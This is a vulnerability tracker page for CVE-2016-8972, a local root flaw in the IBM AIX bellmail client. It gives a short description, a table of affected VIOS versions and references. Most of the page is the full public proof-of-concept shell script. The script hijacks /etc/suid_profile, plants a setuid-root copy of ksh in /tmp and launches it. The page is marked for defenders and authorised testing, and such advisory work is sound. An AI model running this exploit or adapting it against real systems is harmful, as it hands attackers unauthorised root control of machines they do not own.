CVE-2016-8972
Description
IBM AIX 6.1, 7.1, and 7.2 could allow a local user to gain root privileges using a specially crafted command within the bellmail client. IBM APARs: IV91006, IV91007, IV91008, IV91010, IV91011.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
IBM AIX 6.1/7.1/7.2 - 'Bellmail' Local Privilege Escalation
#!/usr/bin/sh
#
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root
#
# Affected versions:
# AIX 6.1, 7.1, 7.2
# VIOS 2.2.x
#
# Fileset Lower Level Upper Level KEY
# ---------------------------------------------------------
# bos.net.tcp.client 6.1.9.0 6.1.9.200 key_w_fs
# bos.net.tcp.client 7.1.3.0 7.1.3.47 key_w_fs
# bos.net.tcp.client 7.1.4.0 7.1.4.30 key_w_fs
# bos.net.tcp.client_core 7.2.0.0 7.2.0.1 key_w_fs
# bos.net.tcp.client_core 7.2.1.0 7.2.1.0 key_w_fs
#
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
VULNBIN=/usr/bin/bellmail
SUIDPROFILE=/etc/suid_profile
function ESCALATE
{
echo "[*] Preparing escalation"
$VULNBIN >/dev/null 2>&1 <<EOD
s /etc/suid_profile
EOD
if [ ! -w $SUIDPROFILE ]; then
echo "[-] $SUIDPROFILE is not writable. Exploit failed."
exit 1
fi
echo "[*] Clearing out $SUIDPROFILE"
echo > /etc/suid_profile
echo "[*] Injecting payload"
cat << EOF >$SUIDPROFILE
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm -f $SUIDPROFILE
EOF
echo "[*] Executing SUID to leverage privileges"
/usr/bin/ibstat -a >/dev/null 2>&1
if [ ! -x $ROOTSHELL ]; then
echo "[-] Root shell does not exist or is not executable. Exploit failed."
exit 1
fi
echo "[*] Escalating to root.."
$ROOTSHELL
echo "[*] Make sure to remove $ROOTSHELL"
}
echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"
$VULNBIN -e
if [ $? -eq 0 ]
then
ESCALATE
echo "[*] Make sure to remove $ROOTSHELL"
exit 0
fi
echo "[*] Sending mail to non-existent user, force a bounce within ~minute"
/usr/bin/mail nonexistentuser <<EOD
.
.
.
EOD
echo "[*] Waiting for mail to come in."
while true
do
$VULNBIN -e
if [ $? -eq 0 ]
then
echo "[*] Mail found"
ESCALATE
break
else
echo "[-] Mail not received yet. Sleeping."
sleep 10
fi
done
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| ibm | vios | 2.2.1.5 | |
| ibm | vios | 2.2.1.6 | |
| ibm | vios | 2.2.1.7 | |
| ibm | vios | 2.2.1.8 | |
| ibm | vios | 2.2.0.0 | |
| ibm | vios | 2.2.0.10 | |
| ibm | vios | 2.2.0.11 | |
| ibm | vios | 2.2.0.12 | |
| ibm | vios | 2.2.0.13 | |
| ibm | vios | 2.2.1.0 | |
| ibm | vios | 2.2.1.1 | |
| ibm | vios | 2.2.1.3 | |
| ibm | vios | 2.2.1.4 | |
| ibm | vios | 2.2.2.0 | |
| ibm | vios | 2.2.2.1 | |
| ibm | vios | 2.2.2.2 | |
| ibm | vios | 2.2.2.3 | |
| ibm | vios | 2.2.2.4 | |
| ibm | vios | 2.2.2.6 | |
| ibm | vios | 2.2.2.70 | |
| ibm | vios | 2.2.3.0 | |
| ibm | vios | 2.2.3.1 | |
| ibm | vios | 2.2.3.2 | |
| ibm | vios | 2.2.3.3 | |
| ibm | vios | 2.2.3.4 | |
| ibm | vios | 2.2.3.50 | |
| ibm | vios | 2.2.3.51 | |
| ibm | vios | 2.2.3.52 | |
| ibm | vios | 2.2.3.60 | |
| ibm | vios | 2.2.3.70 | |
| ibm | vios | 2.2.3.80 | |
| ibm | vios | 2.2.4.0 | |
| ibm | vios | 2.2.4.10 | |
| ibm | vios | 2.2.4.21 | |
| ibm | vios | 2.2.4.22 | |
| ibm | vios | 2.2.4.23 | |
| ibm | vios | 2.2.4.30 | |
| ibm | vios | 2.2.5.0 | |
| ibm | vios | 2.2.5.10 | |
References
- http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
- http://www.securityfocus.com/bid/94979
- http://www.securitytracker.com/id/1037480
- https://www.exploit-db.com/exploits/40950/
- http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
- http://www.securityfocus.com/bid/94979
- http://www.securitytracker.com/id/1037480
- https://www.exploit-db.com/exploits/40950/
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.